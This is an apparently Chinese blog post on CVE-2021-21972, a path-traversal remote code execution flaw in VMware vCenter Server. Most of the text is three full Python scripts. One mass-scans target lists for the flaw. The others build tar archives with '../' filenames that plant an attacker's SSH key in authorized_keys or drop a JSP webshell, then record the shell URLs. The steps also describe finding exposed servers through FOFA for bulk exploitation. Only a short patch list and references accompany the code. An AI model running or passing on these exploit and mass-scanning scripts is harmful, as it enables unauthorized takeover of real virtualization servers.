简介

vSphere 是 VMware 推出的虚拟化平台套件,包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心,可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机。

vSphere Client(HTML5) 在 vCenter Server 插件中存在一个远程执行代码漏洞。未授权的攻击者可以通过开放 443 端口的服务器向 vCenter Server 发送精心构造的请求,写入webshell,控制服务器。

影响范围

  • vmware:vcenter_server 7.0 U1c 之前的 7.0 版本
  • vmware:vcenter_server 6.7 U3l 之前的 6.7 版本
  • vmware:vcenter_server 6.5 U3n 之前的 6.5 版本

漏洞分析

我太菜了,还是搬运一下大佬的分析吧:

http://noahblog.360.cn/vcenter-6-5-7-0-rce-lou-dong-fen-xi

…此处省略一万字…

直接将tar解压的文件名与/tmp/unicorn_ova_dir拼接并写入文件,这里可以使用../绕过目录限制。

若目标为Linux环境,可以创建一个文件名为../../home/vsphere-ui/.ssh/authorized_keys的tar文件,上传后即可使用SSH连接服务器。

POC

https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/blob/main/CVE-2021-21972.py

该poc主要就是通过以下路径来进行判断, 如果返回405则表示该漏洞存在:

/ui/vropspluginui/rest/services/uploadova

POC代码如下:

#!/usr/bin/python3
# -*- coding=utf-8 -*-
#-*- coding:utf-8 -*-
banner = """
888888ba dP
88 `8b 88
a88aaaa8P' .d8888b. d8888P .d8888b. dP dP
88 `8b. 88' `88 88 Y8ooooo. 88 88
88 .88 88. .88 88 88 88. .88
88888888P `88888P8 dP `88888P' `88888P'
ooooooooooooooooooooooooooooooooooooooooooooooooooooo
@time:2021/02/24 CVE-2021-21972.py
C0de by NebulabdSec - @batsu
"""
print(banner)

import threadpool
import random
import requests
import argparse
import http.client
import urllib3
import socket
import socks

socks.set_default_proxy(socks.SOCKS5, "127.0.0.1", 1080)
socket.socket = socks.socksocket

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'

TARGET_URI = "/ui/vropspluginui/rest/services/uploadova"


def get_ua():
first_num = random.randint(55, 62)
third_num = random.randint(0, 3200)
fourth_num = random.randint(0, 140)
os_type = [
'(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)',
'(Macintosh; Intel Mac OS X 10_12_6)'
]
chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)

ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
'(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
)
return ua


def CVE_2021_21972(url):
# proxies = {"scoks5": "http://127.0.0.1:1080"}
headers = {
'User-Agent': get_ua(),
"Content-Type": "application/x-www-form-urlencoded"
}
targetUrl = url + TARGET_URI
try:
res = requests.get(targetUrl,
headers=headers,
timeout=15,
verify=False)
# proxies=proxies)
# proxies={'socks5': 'http://127.0.0.1:1081'})
# print(len(res.text))
if res.status_code == 405:
print("[+] URL:{}--------存在CVE-2021-21972漏洞".format(url))
# print("[+] Command success result: " + res.text + "\n")
with open("存在vmware漏洞地址.txt", 'a+') as fw:
fw.write(url + '\n')
else:
print("[-] " + url + " 没有发现CVE-2021-21972漏洞.\n")
# except Exception as e:
# print(e)
except:
print("[-] " + url + " Request ERROR.\n")


def multithreading(filename, pools=5):
works = []
with open(filename, "r") as f:
for i in f:
func_params = [i.rstrip("\n")]
# func_params = [i] + [cmd]
works.append((func_params, None))
pool = threadpool.ThreadPool(pools)
reqs = threadpool.makeRequests(CVE_2021_21972, works)
[pool.putRequest(req) for req in reqs]
pool.wait()


def main():
parser = argparse.ArgumentParser()
parser.add_argument("-u",
"--url",
help="Target URL; Example:http://ip:port")
parser.add_argument("-f",
"--file",
help="Url File; Example:url.txt")
# parser.add_argument("-c", "--cmd", help="Commands to be executed; ")
args = parser.parse_args()
url = args.url
# cmd = args.cmd
file_path = args.file
if url != None and file_path ==None:
CVE_2021_21972(url)
elif url == None and file_path != None:
multithreading(file_path, 10) # 默认15线程


if __name__ == "__main__":
main()

EXP

https://blog.csdn.net/weixin_43650289/article/details/114055417

import tarfile
import os
from io import BytesIO
import requests

proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080",
}
def return_zip():
with tarfile.open("test.tar", 'w') as tar:
payload = BytesIO()
id_rsa_pub = 'ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwgGuwNdSGHKvzHsHt7QImwwJ08Wa/+gHXOt+VwZTD23rLwCGVeYmfKObDY0uFfe2O4jr+sPamgA8As4LwdqtkadBPR+EzZB+PlS66RcVnUnDU4UdMhQjhyj/uv3pdtugugJpB9xaLdrUWwGoOLYA/djxD5hmojGdoYydBezsNhj2xXRyaoq3AZVqh1YLlhpwKnzhodk12a7/7EU+6Zj/ee5jktEwkBsVsDLTTWPpSnzK7r+kAHkbYx8fvO3Fk+9jlwadgbmhHJrpPr8gLEhwvrEnPcK1/j+QXvVkgy2cuYxl9GCUPv2wgZCN50f3wQlaJiektm2S9WkN5dLDdX+X4w=='
# 针对Linux有效的方式
tarinfo = tarfile.TarInfo(name='../../../home/vsphere-ui/.ssh/authorized_keys')
# Windows 需要改一下
#tarinfo = tarfile.TarInfo(name="..\\..\\ProgramData\\VMware\\vCenterServer\\data\\perfcharts\\tc-instance\\webapps\\statsreport\\test.jsp")

f1 = BytesIO(id_rsa_pub.encode())
tarinfo.size = len(f1.read())
f1.seek(0)
tar.addfile(tarinfo, fileobj=f1)
tar.close()
payload.seek(0)
def getshell(url):
files = {'uploadFile':open('test.tar','rb')}
try:
r = requests.post(url=url, files=files,proxies=proxies,verify = False).text
print(r)
# windows下:
# print('shell地址:/statsreport/test.jsp')
except:
print('flase')

if __name__ == "__main__":
try:
return_zip()
url="https://192.168.1.1/ui/vropspluginui/rest/services/uploadova"
getshell(url)
except IOError as e:
raise e

整合的POC&EXP

import requests
import tarfile
import sys
import getopt
requests.packages.urllib3.disable_warnings()


proxy = {}

def poc(target):
url = (target + '/ui/vropspluginui/rest/services/uploadova').replace('//ui', '/ui')
web = requests.get(url,verify=False,proxies=proxy)
if web.status_code == 405:
return True
else:
return False

def payload_linux(filename, payload_type):
payload_path = '../../home/vsphere-ui/.ssh/authorized_keys' if payload_type=='ssh' else '../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/%d/0/h5ngc.war/resources/test.jsp'
payload_tar = tarfile.open('payload_linux.tar','w')
for i in range(106):
payload_tar.add(filename, arcname=payload_path % i)
payload_tar.close()

def payload_win(filename):
payload_path = '../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/test.jsp'
payload_tar = tarfile.open('payload_win.tar','w')
payload_tar.add(filename, arcname=payload_path)
payload_tar.close()


def send_payload(target, payload_type):
url = (target + '/ui/vropspluginui/rest/services/uploadova').replace('//ui', '/ui')
files = {'uploadFile': ('1.tar', open('payload_linux.tar', 'rb'), 'application/octet-stream')}
web = requests.post(url, files=files,verify=False,proxies=proxy)
if web.status_code == 200:
if web.text == 'SUCCESS':
if payload_type == 'ssh':
print('\t文件写入成功')
if payload_type != 'ssh':
webshell = (target + '/ui/resources/test.jsp').replace('//ui', '/ui')
web = requests.get(webshell,verify=False,proxies=proxy)
if web.status_code != 404:
print('\twebshell地址:%s' % webshell)
return True
files = {'uploadFile': ('1.tar', open('payload_win.tar', 'rb'), 'application/octet-stream')}
web = requests.post(url, files=files,verify=False,proxies=proxy)
if web.status_code == 200:
if web.text == 'SUCCESS':
print('\t文件写入成功')
webshell = (target + '/statsreport/test.jsp').replace('//statsreport', '/statsreport')
web = requests.get(webshell,verify=False,proxies=proxy)
if web.status_code != 404:
print('\twebshell地址:%s' % webshell)
with open("webshell地址.txt", "a+") as fff:
fff.write('webshell地址:%s \n' % webshell)
return True
return False

def help():
print(
"""
Usage:CVE-2021-21972.py [option]
-u or --url:目标url
-t or --type:攻击方式(ssh/webshell)
-f or --file:要上传的文件(webshell或authorized_keys) 例如:CVE-2021-21972.py -u https://127.0.0.1 -t webshell -f shell.jsp
-p or --proxy:设置代理 例如:CVE-2021-21972.py -u https://127.0.0.1 -t webshell -f shell.jsp -p http://127.0.0.1:8080
-l or --list:批量检测 例如:CVE-2021-21972.py -l list.txt -t webshell -f shell.jsp
"""
)

if __name__ == "__main__":
if len(sys.argv) == 1:
help()
sys.exit()

try:
opts, args = getopt.getopt(sys.argv[1:], "l:u:t:f:p:")
except getopt.GetoptError:
print("argv error,please input")
targets = []
payload_type = ''
filename = ''
for opt, arg in opts:
if opt in ('-p', '--proxy'):
proxy = {arg[:arg.find(':')]: arg}
for opt, arg in opts:
if opt in ('-l', '--list'):
with open(arg, 'r') as t:
for u in t.read().split('\n'):
targets.append(u)
elif opt in ('-u', '--url'):
targets.append(arg)
for opt, arg in opts:
if opt in ('-t', '--type'):
payload_type = arg
for opt, arg in opts:
if opt in ('-f', '--file'):
filename = arg
payload_linux(filename, payload_type)
if payload_type != 'ssh':
payload_win(filename)
for target in targets:
print('-' * 50)
print('正在检测%s...' % target)
if poc(target):
if send_payload(target, payload_type):
continue
print('Failed')

漏洞复现

1.fofa搜索title="+ ID_VC_Welcome +"

可以用批量脚本通过fofa把所有搜索到的资产下载到本地

2.然后使用POC验证漏洞:

3.1 添加一个vsphere-ui用户:

adduser vsphere-ui

3.2 生成 ssh密钥

ssh-keygen -t rsa
# 然后复制公钥到上面的EXP中去

3.对于存在漏洞的资产,使用EXP上传tar文件

成功上传authorized_keys

4.ssh连接

也可以通过上传jsp小马等方式进行利用

漏洞修复

  • vCenter Server7.0版本升级到7.0.U1c
  • vCenter Server6.7版本升级到6.7.U3l
  • vCenter Server6.5版本升级到6.5 U3n

参考

https://www.vmware.com/security/advisories/VMSA-2021-0002.html

https://www.cnblogs.com/cHr1s/p/14445759.html

http://noahblog.360.cn/vcenter-6-5-7-0-rce-lou-dong-fen-xi/